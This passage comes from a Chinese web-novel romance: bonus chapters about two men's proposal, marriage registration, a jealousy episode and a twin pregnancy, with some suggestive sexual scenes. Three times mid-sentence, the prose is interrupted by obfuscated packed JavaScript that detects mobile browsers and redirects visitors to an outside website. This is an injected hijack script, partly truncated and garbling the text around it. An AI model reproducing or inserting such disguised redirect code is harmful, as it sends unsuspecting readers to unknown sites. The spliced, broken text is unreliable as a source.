“好了好了,不哭啊,爸爸这就给你洗屁股去。你这孩子,真会挑时候。” 等一大一小去了卫生间,贺文仲夸道:“小丰带孩子有一套。” “是啊,他当初还不让请保姆,我老不放心。”闵兰瑛附和,“确实会带孩子,瞧元宝现在白白胖胖的。” 元志强有些不好意思,他拍了拍小儿子的肩,“小俊就是小丰带的,我跟他妈下地干活儿没时间看孩子。还有小梅跟小秋,也是他帮着带大的,这孩子从小吃了不少苦。” 话题逐渐伤感,闵兰瑛笑着岔开:“亲家,酒席订在五月份,那天正好元宝一周岁,双喜临门。” “好!”元志强连连点头,“双喜临门好!” 贺颜把大致流程跟老丈人说了下,包括想给元丰的惊喜。 元志强听完,激动地握住儿婿双手。他这辈子最对不起的人就是长子元丰,千言万语卡在喉间却没资格说出来,最终只说了谢谢两个字。 ** 元丰躺在床上,大腿上翘着两条肉乎乎的小腿,元宝躺在旁边玩着铃鼓,小手这里摸摸,那里碰碰,弄得叮铃直响。他伸手捏了捏闺女的小腿,笑道:“她爹,这丫头好像又胖了。” 贺颜也摸了摸闺女的小肉腿,说:“你养得好。” “她一口母-乳都没喝过,我之前还担心养不好。”元丰盯着元宝那大双眼皮和肉肉的小脸蛋,越看越觉得可爱。 元宝玩高兴了,一边蹬腿一边乐,“麻…呜…麻…” 贺颜笑了,逗弄道:“小宝儿,妈妈在哪呢?” 在元宝多次拽着自己领口发出类似‘麻’的音节后,元丰无奈放弃了。闺女现在会认人,看到他就是‘麻’个不停,但凡能听到‘巴’的时候,贺颜必定在场。 他坐起来,冲闺女拍了拍手,自暴自弃道:“元宝,到妈妈这儿来。” 元宝听到拍手声,兴奋地腿都蹬直了,随后翻了个身,朝‘妈妈’那儿爬去。 “……”元丰只是想试试,没想到闺女真听话地过来了。 贺颜低笑出声,“懂事儿。” “你还有脸笑!”元丰抱起闺女,瞥了贺颜一眼,“都赖你。” “嗯,赖我。”贺颜见时间差不多,“把孩子送过去吧,我有事儿跟你谈。” 元丰已经能猜到接下来的惊喜,问道:“是酒席的事儿吗?日子定在啥时候啊?” “你先送过去,回来说。” “好。”元丰抬了抬下巴,“把枕头旁边的奶瓶给我。” 贺颜把奶瓶直接放到元宝手里,一本正经地叮嘱道:“妈妈得抱着你,自己抓紧了。” “啊…麻…”元宝双手抓住奶瓶两边的手柄,用力摇晃着。 “真乖。”贺颜轻轻摸了摸闺女的小脑袋,“跟奶奶好好睡觉。” 晋升为男妈妈的元丰对父女俩无语,吐槽道:“都是带把的,凭啥我当妈?” “你会产-奶。”贺颜提醒道。 “……”元丰回怼,“都让你给喝干净了,合着我也是你妈呗?” 贺颜搂上他的腰,“又欠收拾了?” “我收拾你还差不多!”元丰抱着闺女离开了卧室。 等元丰一走,贺颜从床头柜的抽屉里取出提前定制好的钻戒。他在床边坐下,盯着左手无名指上的金戒指看了许久。 别说十年前,哪怕是两年前,他都没想过自己会有跟人求婚的一天。 如今老婆孩子热炕头,他欠元丰一个名分。 元丰送完孩子回来,见贺颜背着自己坐在床沿。他关上房门走过去,“我来了,你干啥呢?” 贺颜拍着大腿暗示,元丰听话地一屁股坐在他腿上,“啥时候办酒啊?” “5月22号。”他说,“等过完年,去把西服尺寸量了。” 5月22号是元宝出生的那天,元丰惊讶道:“跟元宝周岁一块儿办吗?” “嗯,那天会有很多人。”贺颜问,“紧张么?” “有点。你说咱们两个男的结婚,会不会上新闻啊?” “说不好。” “……” 贺颜摸着元丰光秃秃的左手,因为元宝总是乱抠,那枚金戒指被收了起来。 元丰低头看着自己的手,“这孩子成心不让我戴戒指,等她大一点,我再戴上。” “换一个吧。” 定亲戒指意义不同,元丰刚说完不换,无名指突然被戴上一枚钻戒,还没来得及细看,贺颜就拉着他站起来,随后在他面前单膝下跪,整个过程惊得他直接傻在原地。 贺颜第一次干这种事儿,多少有些别扭。 “你,你这是……”元丰低头看着无名指上的钻戒,镶在上面的钻石很大,戒指款式简单大方。灯光下,那颗钻石闪得有些晃眼。 “元丰。”贺颜认真地喊出元丰本名,抬头盯着那张白净秀气的脸蛋,“拖到元宝快九个月才跟你提这事儿,委屈你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658643|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不委屈。”元丰看着硬朗帅气的男人,眼眶逐渐湿润,他边笑边说:“多大岁数的人了,你还这样,赶紧起来啊!” 贺颜脸一黑,“我能做的也就这样了,仪式感不能丢。” 元丰心疼贺颜跪着,急了:“快起来,真的一点都不委屈啊。” 贺颜咳了两声,恢复正经:“咱们结婚吧。” 就是这么平常的一天,却成了元丰此生最难忘的一天。 贺颜说的那几个字,胜过任何甜言蜜语。眼泪不受控制地夺眶而出,他猛地扑进对方怀里,拼命点头,“结!现在就结!” 贺颜猝不及防地被扑倒,怀里的人还在哭着说要结婚。他顺着元丰后背,笑道:“有没有想去的国家?” 元丰一愣,随即想到蜜月之旅。他吸了吸鼻子,点点头:“想去你留学的地方看看。” 贺颜依着元丰,“也行,那就在美国登记。” “登记?” “嗯,领结婚证。”尽管在中国不被承认,贺颜却想给出自己的承诺。 “……”元丰刚憋回去的眼泪又夺眶而出,他喃喃道:“咱们能领结婚证……” “时间有点长,元宝得留在家里。”贺颜抱着元丰坐起来,“等领完证,带你四处走走。” “你咋这么好……”元丰用手背抹了抹眼睛,噗嗤一笑:“我本来以为惊喜是情Q用品来着。” “这个下回准备。”贺颜用拇指拭去元丰眼角的泪水,“你说的生活,确实不错。” “我说了啥生活啊?”元丰有些没反应过来。 “把元宝拉扯长大,再一块儿退休。”贺颜停顿了片刻,“到处旅游,玩不动了就在家歇着看看电视。” 这是自己以前说过的话,元丰记起来了。 “生活有奔头,是不错啊。” “嗯,挺好。” ** 年后,元丰跟贺颜去定制了结婚时要穿的西服。距离5月22日还有两个多月,除了紧张之外,更多的是期待。三月底,他的签证下来了。 出国前的那天晚上,夫夫俩没有把孩子送到爷爷奶奶那儿。元丰侧躺在闺女身边,轻轻拍着她胸口,“元宝,爸爸跟妈妈明天要出去玩了,在家乖乖的,知不知道?” “巴…”元宝攥紧胸前的手,利落地翻了个身。 元丰看着可爱的闺女,突然有些内疚,“真去一个多月啊?我舍不得元宝。” “回头视频通话。”贺颜在元丰旁边躺下,“累了小一年,也给自己放个假。” 元丰捏住闺女的小手晃了晃,“元宝,记得想妈妈,知道不?” “麻…麻…” “哎。”元丰高兴地应了声。 “麻麻麻麻…”元宝胡乱叫着同一个音节,爬到了爸爸身上。 贺颜抱起闺女,耐心地叫她学说话,“小宝儿,叫爸爸。爸—爸—,爸爸…” “巴…巴…”元宝小手摸上爸爸的下巴,手指戳弄他的嘴巴,“巴…巴巴…” 连贯的“爸爸”让贺颜激动地在闺女脸上亲了一口,“真乖,再叫一声。” 元宝不干了,咿呀叫了两声,玩起爸爸胸前的睡衣领。 元丰摸了摸闺女□□里的尿不湿,纳闷道:“你说她会叫人吧,又瞎叫。说她不会叫人,为啥老管我叫妈妈,管你就叫爸爸呢?弄得我现在不当妈都不行。” “你身上有奶香味儿。”贺颜解释说,“可能是妈妈的味道。” “啊?”元丰惊了,低头闻了闻自己的睡衣,“你别逗我,真有奶香味儿我咋闻不到?” “逗你干什么?”贺颜抱着闺女下了床,“你睡你的,我哄她睡觉。” 元丰胳膊撑脑袋,看着正在哄孩子入睡的高大男人,小声说道:“没你睡不着,快哄孩子。” “到点了,别说话。”贺颜轻轻拍元宝后背,哼起了催眠曲。 有了孩子之后,元丰又接触到贺颜不同的一面,尤其是为人父的样子,特有魅力。从知道怀孕那刻起,这个男人就一直在对他好,还给了他一个家。 他闭上眼睛,听着爱人所哼的催眠曲,逐渐进入梦乡。 这辈子能遇上贺颜,真好啊。 40. 独家番外③ 贺颜给元丰报的学习班离公司并不远,不忙的时候会顺路接老婆一起回家。某 天正好赶上好友乔安过生日,他提前给元丰打电话说自己大概五点半会过去接他。 到了地方,贺颜趁等待的间隙给母亲打了一通视频电话。 视频中,15个月大的元宝坐在幼儿餐椅里,正一手抓着勺子吃米饭,一手捏着胡萝卜往嘴里塞。 闵兰瑛边拍边说,“瞧我们小宝儿自己吃饭多厉害,还不挑食。” “真能个儿。”贺颜夸道。 元宝听到爸爸的声音,立刻抬起头。 “小宝儿。” “爸爸。” 贺颜笑着应了声,让闺女继续好好吃饭。他跟母亲简单说明情况,便结束了通话。 时间一分一秒过去,眼看着已经五点三刻,要等的人始终未出现。就在贺颜下车准备亲自去接元丰时,写字楼的正门口走出两个男人。他们肩并肩,有说有笑。 “又耽误你下班了。”元丰冲男人笑道,“真是给你添麻烦了啊,孙老师。” “别老这么客气。”孙政笑着回道,“教你挺轻松的,一点就通,很聪明。” 元丰被夸得有些不好意思,“那也是因为你教得好。” 孙政负责教元丰数学,教好了能拿不少奖金。他有任务在身,自然尽心尽力。 “反正也加了微信,以后有什么不会不懂的直接问我就行,别不好意思。” “谢谢孙老师!” 孙政笑了一声,“那我先走了,明天见。” 元丰挥挥手,“好嘞,明天见。” 真是个尽心尽力的好老师啊。 挥别老师后,元丰才想起之前那通电话。他赶紧抬头看去,不远处的路边停着一辆黑色越野大奔,贺颜就站在车旁,正面无表情地盯着他。 自打结婚以来,夫夫俩如胶似漆,小日子过得蜜里调油。元丰感觉自己好像几百年没见过贺颜这副模样,竟有些怀念。 但现在可不是怀念的时候,他小跑至对方跟前,解释道:“刚才有道大题没理解,老师跟我讲了一会儿。” 干销售跑业务很累,贺颜舍不得再让元丰吃一丁点苦头,所以给他报班学习,希望他学业有成,将来能找一份轻松的活儿。 今天这个画面已经是第三次撞见,自己这儿操了不少心,老婆却跟别的男人靠那么近,完全没有已婚人士的自觉与意识。 “跟老师聊得挺开心?” 元丰以为贺颜等久了才不高兴的,根本没多想。他点头道,“开心啊,我就喜欢上他的数学课,特有意思。” “特有意思?” “是啊,估计是年轻的关系。”元丰说,“我有时候上语文课还打瞌睡,老师五十多了,听着犯困。” “嗯。”贺颜打开后座车门,“进去。” “啊?”元丰有些懵逼,怎么今天突然让坐后面了?不过他还是听话地上了车,等贺颜跟着进来时,察觉到了不对劲。 “知道自己错哪儿了么?”贺颜开口。 “……” “这是第几回了?非得让我提醒?” 也就迟到过两回,不至于这么生气吧?元丰本能地顺起毛驴:“我懂我懂,下不为例,以后不迟到了。” 果真是一点自觉性都没有,贺颜琢磨着该怎么教育老婆,被来电铃声打断了。 “喂,孙老师。” “元丰,刚才忘跟你说了,晚上要有时间的话,把习题册上的那几道应用题都做了。” “有时间的,我回去就做。” “有点难度,做不出来别勉强,随时都可以给我发微信。” “好好好,谢谢孙老师。” 电话那头传来男人的笑声,“真不用这么客气。” 元丰跟着笑,“我都说习惯了,一时改不了。” “没事儿,那我先挂了。” “好嘞,老师再见。” “嗯。” 车内很安静,贺颜将二人对话一字不漏地听完了。他压着情绪,问道:“什么时候加的微信?” “上个月加的。”元丰收起手机,说:“今晚给你放假,你跟他们去玩吧。不允许多喝啊,知道不?” “几号。” “啥?” “手机给我。” “……” 元丰后知后觉意识到贺颜不高兴的原因了,这场景似曾相识,他不禁回忆起当年那一发车震,起因与小美有关。 这突然叫自己上后座,莫非是要…… 只是稍微想了想当众那啥的画面,他身体就不对劲了。 师生之间互动很正常,但也该有个度,何况发消息就能说清楚的事儿没必要特地打电话。贺颜并不想查看元丰的隐私,然而对方毫无反应的态度让他觉得不查不行了。 “听不懂我的话?手机拿来。” 他急了!语气都变了!元丰惊喜地发现贺颜是在吃醋,那模样忒有趣了。 要是再火上浇点油,会不会气得直接在车里玩霸王硬上弓?想到这儿,他收起手机,装傻充楞:“为啥给你啊,我都没查过你手机。” 贺颜拿出自己的手机解锁打开,扔到元丰腿上,“给我。” 夏季昼长夜短,元丰透过窗外天色,看到贺颜皱起眉头。 他低头憋着笑,一本正经地说道:“你把手机给我干啥?我没说要查啊。虽然咱俩结婚了,可这该有的隐私空间不能少。” 天天晚上黏着自己腻歪,连睡觉都得抱着不撒手的人,突然想要隐私空间了。 贺颜沉默了片刻,问:“你也知道自己结婚了?” “一直都知道啊。”y火熊熊燃烧,元丰快憋不住了,故意刺激,“要不你自己去吃吧,我得回家做题,孙老师九点半就睡觉,晚了没法请教他了。” 连老师的作息都摸清楚了,贺颜挺服气的,看来私底下没少聊天。他懒得再废话,迅速钳制住元丰胳膊,从他裤兜里掏出手机。 “你给我啊!”元丰伸手要抢,“别偷窥我隐私!你这人咋回事儿啊?快还给我!” “闭嘴!”贺颜左手按着挣扎的元丰,右手利落地输入闺女生日,解锁手机。他打开微信,找到与孙老师的对话窗口。 元丰不再挣扎,强忍着的笑意憋不住了,“噗—哈哈哈,你咋这么逗啊?” 聊天界面里只有简短的两句问候,会话时间为上个月28号的中午11:56分。 贺颜看了个寂寞,知道自己被忽悠了。 “哈哈哈!”元丰边笑边问,“你是不是吃醋了啊?我跟孙老师就没聊过天,逗你玩呢!” 贺颜放下手机,盯着嘻嘻哈哈的元丰,警告道:“回去再收拾你。” “别啊。”元丰见贺颜要开车门,一把拉住他胳膊,“你现在收拾我行不?我等不及了。” “……” “就在车里,来啊!” 贺颜心里那点不痛快被元丰给骚没了,他再次警告:“以后自己注意分寸,知道么?” “得收拾一顿才知道。”元丰拉起贺颜的手笑着调戏,“贺大夫,我身体不大舒服,您给检查检查呗?” “……”贺颜以为元丰在开玩笑。 …… “没事儿,”元丰饥渴死了,“有就有了,我再给你生一个。” “不生,有元宝就够了。” …… “别让我再发现第四回。” …… * 几天后,贺颜琢磨着是不是该搞一次突击检查,又觉得这事儿丢份。转念一想,那是自己领了结婚证的老婆,突击检查也没什么。 他倒不是怕元丰背着自己出轨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没胡说啊,我就想跟你在一块儿,换谁都不行。” 周围环境嘈杂,车来人往。贺颜不相信什么缘分,但老天却让他与元丰相遇,并且有了一个可爱的闺女。他低头看向十指紧扣的双手,说道:“下辈子不用等车撞了。” “啊?” “我会去找你。” 元丰听到这话,激动得想抱住贺颜亲一口。他用力点头,“那说好了啊,你答应我的。” “嗯,说好了。” 元丰拉着贺颜继续往前走,又指着一处说,“电动车当时停在这儿,下午一过来就没了。回头想想,车要是没被偷,我还咋给你打电话联络感情啊?” “有道理。”贺颜说,“顺便忽悠我。” “物价上涨,电动车也跟着涨价,我不忽悠你忽悠谁?”元丰突然问,“你当初为啥想包养我啊?” 贺颜想了想,回道:“瞧着忒欠,一时兴起。” “……”元丰脸又黑了,不过现在的他无力反驳,好像是挺欠的。 “走了,去吃饭。” “好嘞!” 走了没几步,元丰笑眯眯地问道:“你知道我为啥带你来这儿不?” “为什么?”贺颜还真是猜不到。 虽然看自己男人吃醋很有意思,但元丰舍不得。他嘿嘿一笑,“给你安全感啊。” 贺颜无声一笑,“那我谢谢你了。” “诶呦,客气啥?” “应该的。” 一高一矮的两个大男人,他们十指紧扣,朝着汽车的方向走去。 41. 独家番外④ 四年后。 元丰提前半小时到了幼儿园,周围已经停满豪车。难得他今天有空想来接孩子放学,愣是找不着车位,还不如坐地铁。龟速行驶了近一刻钟,终于在隔了一条街的路边找到空位。他停好汽车,快步朝幼儿园的方向走去。 有不少相熟的家长站在门口闲聊等候,元丰偶尔才来,自然插不上话题。不远处有个抱着孩子的年轻妈妈吸引了他注意,怀里那小娃娃瞧着估计还没满一周岁,特别可爱。 一晃眼,元宝上中班了。要不是家里拍了一堆照片,他都快忘了自己闺女一周岁时的模样。 小娃娃在冲妈妈笑,元丰忍不住多看了几眼。前阵子,元宝突然跟他说想要个妹妹,委屈地说谁谁谁有妹妹,还有谁谁也有,人家都有妹妹,就她没有。 这几年里,他忙着学习,通过成考顺利进入本地一所重点大学的成人教育计算机专业,今年刚修满学分申请到毕业证书,准备九月份继续申请学位证,彻底圆了自己的学习梦。眼看着人生即将进入一个新的阶段,元宝却想要个妹妹。 他琢磨着要不要再生一个,如果是有计划地要孩子,也不太会耽误学习。等明年生完,养好身体再找一份稳定的工作,齐活儿。 来电铃声打断了思绪,元丰走到无人的角落,接通电话。 “到学校了么?” “到了,在门口等着呢。” “许辉回去了?” “嗯,我送完他们去高铁站就直接过来了。” 元丰的好兄弟许辉如今是老婆孩子热炕头,在邻市定居了。昨天正好有兄弟结婚,特地带着老婆和儿子过来喝喜酒,他们兄弟二人叙了一天的旧。 “行,没别的事儿。我晚上有应酬,你先睡。” 元丰应了声,叮嘱道:“少喝酒啊,听到没?烟也是,只准你抽两根。” “听到了。”男人笑着调侃,“老妈子。” 元丰看了下四周,小声问道:“你说咱们要不要再生一个?” “你这好了伤疤又忘了疼?” “那会儿没经验啊,其实也没多疼,听说二胎生起来更顺。”元丰自己本身就喜欢孩子,越想越觉得应该再生一个。 他继续道:“元宝想要妹妹,俩孩子差个五六岁正合适,再要一个吧。” 电话那头的语气一顿,“不生,现在这样就挺好。” “……”元丰没再继续这个话题,“到点了,我先去接孩子。” “嗯,去吧。” * 小班到大班的放学时间不同,等走了第一波可爱的小朋友之后,轮到中班放学了。元丰跟着中(1)班的家长们,在1号闸机门口排成一排。老师们和保育员牵着两排小朋友从教学楼里走了出来,他一眼就看到了自己的闺女。 快五岁的小女孩儿扎着可爱的羊角辫,穿着橙色的卡通小卫衣和运动裤。白净的小脸蛋上只有一双乌亮的大眼睛随了妈妈,鼻子嘴巴和脸型都随了爸爸。 元宝在人群中看到熟悉的面孔,高兴地伸手挥了挥,用口型叫了声妈妈。 平时忙着学习也没时间接送孩子,纯真的笑脸让元丰心里生出几分内疚,他笑着扬起手,冲闺女挥了挥。 父女相见,元丰一把抱起闺女,在她脸颊上亲了一口。 元宝回亲了一口,笑眯眯地问:“妈妈,今天怎么是你来接我呀?” “嘘,爸爸怎么教你的?”元丰故意皱起眉头。 元宝因为太高兴,一时忘记了称呼。她抱紧妈妈,“爸爸,我知道了!” “嗯,真乖。”元丰笑道,“爸爸带你回家。” 元宝突然伸出手指,指着前面的小女孩儿,介绍道:“爸爸,她是我最好的朋友,马欣桐。” “马欣桐!” 被叫到名字的小朋友回过头,“元满!” 元宝抱着自己妈妈脖子,得意道:“今天我爸爸来接我放学了!” 元丰冲小朋友的母亲点头打了个招呼,把闺女放下来,“咱们要过马路了,跟同学说再见。” 元宝冲好朋友挥了挥手,“马欣桐再见,我要回家了。” 小朋友同样挥了挥手,“我也要回家,元满再见。” 牵着闺女安全走过斑马线,元丰开启父女之间的日常对话。他每天都会问孩子在学校里学了什么,玩了什么,又吃了什么,有没有跟小朋友好好相处。 元宝最喜欢跟妈妈聊天,她牵着大手,一边蹦蹦跳跳一边回道:“吃了大肉,还有绿色的蔬菜。” “菜有没有都吃光?” “我都吃光了!奶奶和老师说不可以挑食的。” “对,不能挑食。我们元宝真棒!” “我最棒了!” 元丰打开后座车门,元宝动作利索地爬上儿童安全座椅。在他扣安全带时,闺女又语出惊人。 “妈妈,你什么时候跟爸爸生小妹妹呀?” “……” “马欣桐都有妹妹,我也想要一个。” 提一次两次可以不当回事儿,但算上今天,元宝已经提了五次。元丰没办法再敷衍这个话题,他替闺女扣上安全带,认真地问道:“元宝,你喜欢小妹妹吗?” “喜欢!” “有了妹妹,你就是姐姐了。”元丰继续说,“好吃的好玩的,都要跟妹妹分享。” 元宝点点头,“老师说玩具要一起分享的。” 元丰摸了摸闺女的小脑袋,笑道:“行,妈妈回去跟爸爸商量一下,好不好?” “好!”元宝咧着嘴笑了,“谢谢妈妈!” * 贺颜到家时,元丰在客厅里坐着。相处这么多年,一看那样子便猜出对方有话要说。他脱下西服,走了过去。 父母和孩子都睡下了,元丰站起来走到贺颜跟前把人抱住,鼻子在他身上来回嗅。 贺颜笑了,“跟狗似的,闻出什么了?” 元丰开起玩笑,“闻闻你有没有背着我偷人。” “我精力都耗你这儿了,上哪偷去?”贺颜摸上元丰的屁股,轻轻掐了一把。 元丰闻够了才夸道,“表现不错,没烟酒味儿。” “喝了一点酒,没抽烟。” “嗯。” 元丰拉着贺颜在沙发上坐下,谈起正事儿,“我仔细想过了,怀孕也就十个月不到。咱们现在要孩子,不耽误我学习。” 贺颜就猜到是这个事儿,他直接拒绝:“不生。” “为啥啊?”元丰说,“正好元宝想要个妹妹。” “是她想要还是你想要?” “我自己也想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一松口,贺颜不知道是该高兴还是头疼,元丰每天晚上都会眼巴巴地盯着他,然后欲求不满,这哪里是给他时间考虑的样子? 28的青年早已褪去当初那股青涩,成熟不少,连骚都发得炉火纯青。他高兴元丰久违的饥渴状态,头疼进洞前必须脱掉小雨衣。老婆铁了心要孩子,不再是单纯的享受,而是为了创造新生命。 一旦做了决定,元丰对二胎势在必得,说什么也要尽快怀上。他当着贺颜的面□□,“老公,你快过来啊!” “……” 结婚四年,元丰这几天才开始改口叫老公,还是为了那尚未形成受精卵的老二。 等二宝出生,贺颜觉得自己该好好谢谢这孩子。你妈为了要你,也挺不容易。 元丰把自己给整饥渴了,又叫了一声老公,“你咋忍心看我在这儿难受?咱俩还是不是夫妻了?夫妻一条心知不知道?快点啊!” “现在不行。”贺颜彻底松了口,“想要孩子可以,先去医院做个检查,看看医生怎么说。” 元丰有些激动,“你同意要了?” “你天天发-骚,我不同意能怎么着?”贺颜躺到床上。 元丰高兴地扑到贺颜身上,在他嘴上狠狠亲了一口,“我他妈爱死你了。” 贺颜一笑,按着元丰的后脑勺压向自己,用实际行动表明了心底的爱意。 接下来的日子里,为了健康的J子质量,贺颜推掉不必要的应酬,忌烟忌酒,作息规律。 元丰也开始提前吃起叶酸,还特地买了排/卵试纸。俩人都在为迎接新的小生命,而努力备孕着。 42. 独家番外⑤ 28岁这一年的夏天,元丰怀孕了。 因为早有心理准备,孩子来的时候,没了头胎的手忙脚乱。他把验孕棒上的两条红杠拍照发给贺颜,又激动地连发好几条消息过去。 -[图片] -老公,你又要当爹了! -新鲜热乎的两条杠,看见了没? -我明天去医院抽个血查一下。 -先别告诉元宝啊,给她个惊喜,知道不? 考虑到头胎有过先兆流产,贺颜叮嘱元丰注意身体,尽量卧床休息,有什么事儿等自己回去再弄。 -我已经躺着了,你是不是在忙啊? -在开会。 -那你开会,晚上回来再说。 -嗯。 元丰看到简短的回复就猜到贺颜在开会,一时激动忘记时间了。他收起手机,轻轻抚摸平坦的下腹,琢磨着给孩子取什么小名。 老一辈的人总希望多子多福,贺文仲与妻子听说小两口决定再要个孩子时,自然是支持的。 元丰怀孕后,带孙女的任务彻底交在他俩手里。李格作为孩子叔叔,有时会过来接元宝去游乐场玩,陪侄女过暑假。 这次没有先兆流产的症状,但元丰还是成了家里的重点保护对象,连闺女元宝都跟个小大人似的,一遍又一遍地叮嘱他:“妈妈,你不能老走来走去,要休息!” 他只能配合大家,躺着安心养胎,偶尔下床活动活动。 * 因为7周的B超没有胎心和胎芽,医生说可能是受精卵着床晚,让过一周再复查。元丰心里很担心,怕宝宝发育不好。贺颜白天忙工作,晚上回家还得哄老婆,深怕他胡思乱想,影响身体。 等8周再去医院复查时,检查结果惊动了全家人。 贺颜那天正好有个重要会议,于是让母亲在家带元宝,安排陈硕送父亲和元丰去医院做检查。接到舅舅打来的电话时,他心里一紧,担心元丰出了什么事儿。 元丰盯着B超单发愣,结果显示有两个胎芽,都有胎心,但是偏小。抽血化验都在正常值,没什么问题。不过医生还是开了□□和保胎药,说毕竟是双胎,吃上比较好一些。 贺文仲听完医生的嘱咐,连连点头:“好好好,都记下来了。” 李格是跟着陈硕来的,没想到大嫂居然怀了双胞胎。他道了声恭喜:“我妈跟姨妈就是双胞胎姐妹,估计隔代遗传。” “双胞胎……”元丰说不上是惊喜还是惊吓,自己肚子里怎么会怀了两个?这,这要怎么顺啊。 贺颜一开完会便立刻赶往医院,第一时间去的不是病房,而是院长办公室。元丰那小身板怀一个就受了不少罪,这突然怀了俩,他甚至不敢往后想。 双胎妊娠也属于异常妊娠,闵兰青知道外甥的担忧,他说:“怀是能怀,就是得辛苦小丰了。整个孕期要更加小心,劳累和剧烈运动肯定是不行的,这饮食方面啊也要注意。” “还有啊。” “舅舅您说。” 闵兰青严肃道,“双胎不比单胎,你们这生活尽量禁止。” “行,我知道了。” “快去看看小丰吧。” “嗯。” 贺颜到了病房,里面的人自觉把空间让给了小两口。李格伸手拍了拍他的肩,“大哥,恭喜啊。” 贺颜点点头,冲父亲说道:“爸,您先回去陪元宝吧。” “那行,我回去了。” “姨夫,我送您回去。”李格拉着陈硕,离开了病房。 * 元丰坐在床上没敢乱动,他问贺颜:“会开完了啊?” “嗯。”贺颜走到床边坐下,将元丰揽入怀里,心疼道:“辛苦了。” “没事儿,一个变俩也挺好的。”元丰笑了笑,“我刚知道的时候还吓一跳来着……” 别说吓一跳,此刻的贺颜已经后悔要二胎了,但他却不能多说,只能无条件支持老婆。 元丰察觉异样,“老公。” “嗯。” “为啥不说话了,你不喜欢双胞胎吗?” “喜欢。”贺颜低头亲吻着元丰发顶,“你生的都喜欢。” “喜欢就好,突然不吭声我还以为你不高兴了。”孩子是元丰坚持要的,贺颜的态度让他倍感幸福,忍不住又心生感慨:“做梦也没想到我这辈子能有三个孩子,不知道肚子里这俩是闺女还是小子…” “都好。”作为一个纯Gay,这辈子能当三个孩子的父亲,也是贺颜没想到的。 元丰摸着贺颜左手无名指上的素戒,结婚这么多年,这枚戒指始终没换过。虽然嘴上从不说好听的,可这男人却实实在在地爱着自己。他越看越感动,脑子里浮现起俩人这些年走过的点点滴滴。 无名指突然被攥紧,贺颜听到了吸鼻子的声音。元丰靠在他怀里,低声说着:“谢谢你啊,老公。” 他回握住那只戴着钻戒的手,笑道:“是我该谢谢你,老婆。” 听到这声老婆,元丰眼泪夺眶而出。“妈妈”也好,“老婆”也好,他早就不在意这些称呼。 “好了,再哭对孩子不好。”贺颜安慰道。 “我就是高兴。”元丰喜极而泣,又叫了两声老公,疯狂暗示着。 贺颜笑了,“老婆。” “哎!”元丰回道,“我在呢。” “没事儿,叫叫你。” “好嘞。” * 本以为有过经验,第二次怀孕能顺利些,但元丰低估了肚子里的俩孩子,怀孕三个月时,肚子就大得跟头胎五六个月似的,走路也比那会儿累多了。 唯一值得欣慰的是俩孩子从没闹过他,孕吐恶心头晕等反应通通没有,不仅能吃能睡,还长胖了。 按理说长胖是好事儿,可他却更累了,感觉身子特重。 元宝放学回家第一件事儿就是摸一摸妈妈的肚子,跟里面的小宝宝打招呼。元丰想抱闺女抱不了,睡前讲故事也没办法参与,心里不禁有些内疚,觉得对不起孩子。 “妈妈,小宝宝什么时候出来呀?”元宝好奇道。 闵兰瑛端着水果走过来,笑着问:“小宝儿,想要弟弟还是妹妹?” 元宝想了想,说:“我要弟弟要妹妹!” “好呀,龙凤胎!”闵兰瑛逗着小孙女,“那就给小宝儿生弟弟妹妹,好不好?” “好!” 元丰噗嗤一笑,“妈,异卵双胞胎也会生俩一样的。你现在逗她,她要当真了。” “我要弟弟妹妹!” 闵兰瑛赶紧岔开话题,“我们小宝儿要做姐姐了,开不开心?” “开心!”元宝看着自己妈妈,认真道:“妈妈,我要做姐姐!” “好,做姐姐。”元丰拿起盘子里的一瓣橙子递给闺女,随后跟闵兰瑛说道:“妈,回头您跟爸商量下名字怎么取,这俩孩子随贺颜姓。” 闵兰瑛和丈夫从不掺和小两口之间的事儿,听到这话愣住了,“姓贺啊?” 元丰点点头,以前的事儿说来话长,他简短道:“那会儿跟他还没处对象,所以说好元宝跟我姓了。我之前就想过再生一个跟他姓,因为要上学,没法要。” “今年元宝闹着要妹妹,正好我也差不多完事儿了,等明年生完再找工作。” 闵兰瑛有些激动,“小丰,辛苦你了。” “妈,我有啥可辛苦的?”元丰笑着说,“你们都对我这么好,这些年还帮我带孩子,您跟爸才辛苦。” “小宝儿听话,好带。” “妈妈,奶奶,你们在说什么呀?” 元宝吃得满嘴都是橙汁,闵兰瑛站起身说道:“说你这小嘴儿真脏,奶奶去拿毛巾给你擦擦。” “慢点儿吃,谁跟你抢了。”元丰用手擦掉闺女下巴上的汁水。 元宝拿了一瓣橙子递过去,“妈妈你也吃。” “好,谢谢我们小宝儿。” * 元丰的肚子一天比一天大,之前那些衣服裤子已经穿不了,贺颜从头到脚从里到外给他买了几十身。因太过担心老婆的身体状况,更是将工作直接搬到家里,必要时才去公司。 怀双胎确实辛苦,但元丰觉得一切都值得,他从未这么幸福过。 “毛巾。”元丰用托着肚子的手拍了拍贺颜大腿,“快把毛巾给我。” 正在给老婆洗头的贺颜这才听见,立刻看向元丰的脸,紧闭的眼角那儿确实有水滑过。他甩掉手上的泡沫,“别动。” “嗯。” 元丰光溜溜地坐在凳子上,一手抓紧安全扶手,一手托住堪比九个月大的孕肚。他仰靠在贺颜结实的胳膊上,不一会儿,有毛巾轻轻擦过眼角。 “好了,睁眼吧。”贺颜挂好毛巾,继续给元丰洗头。 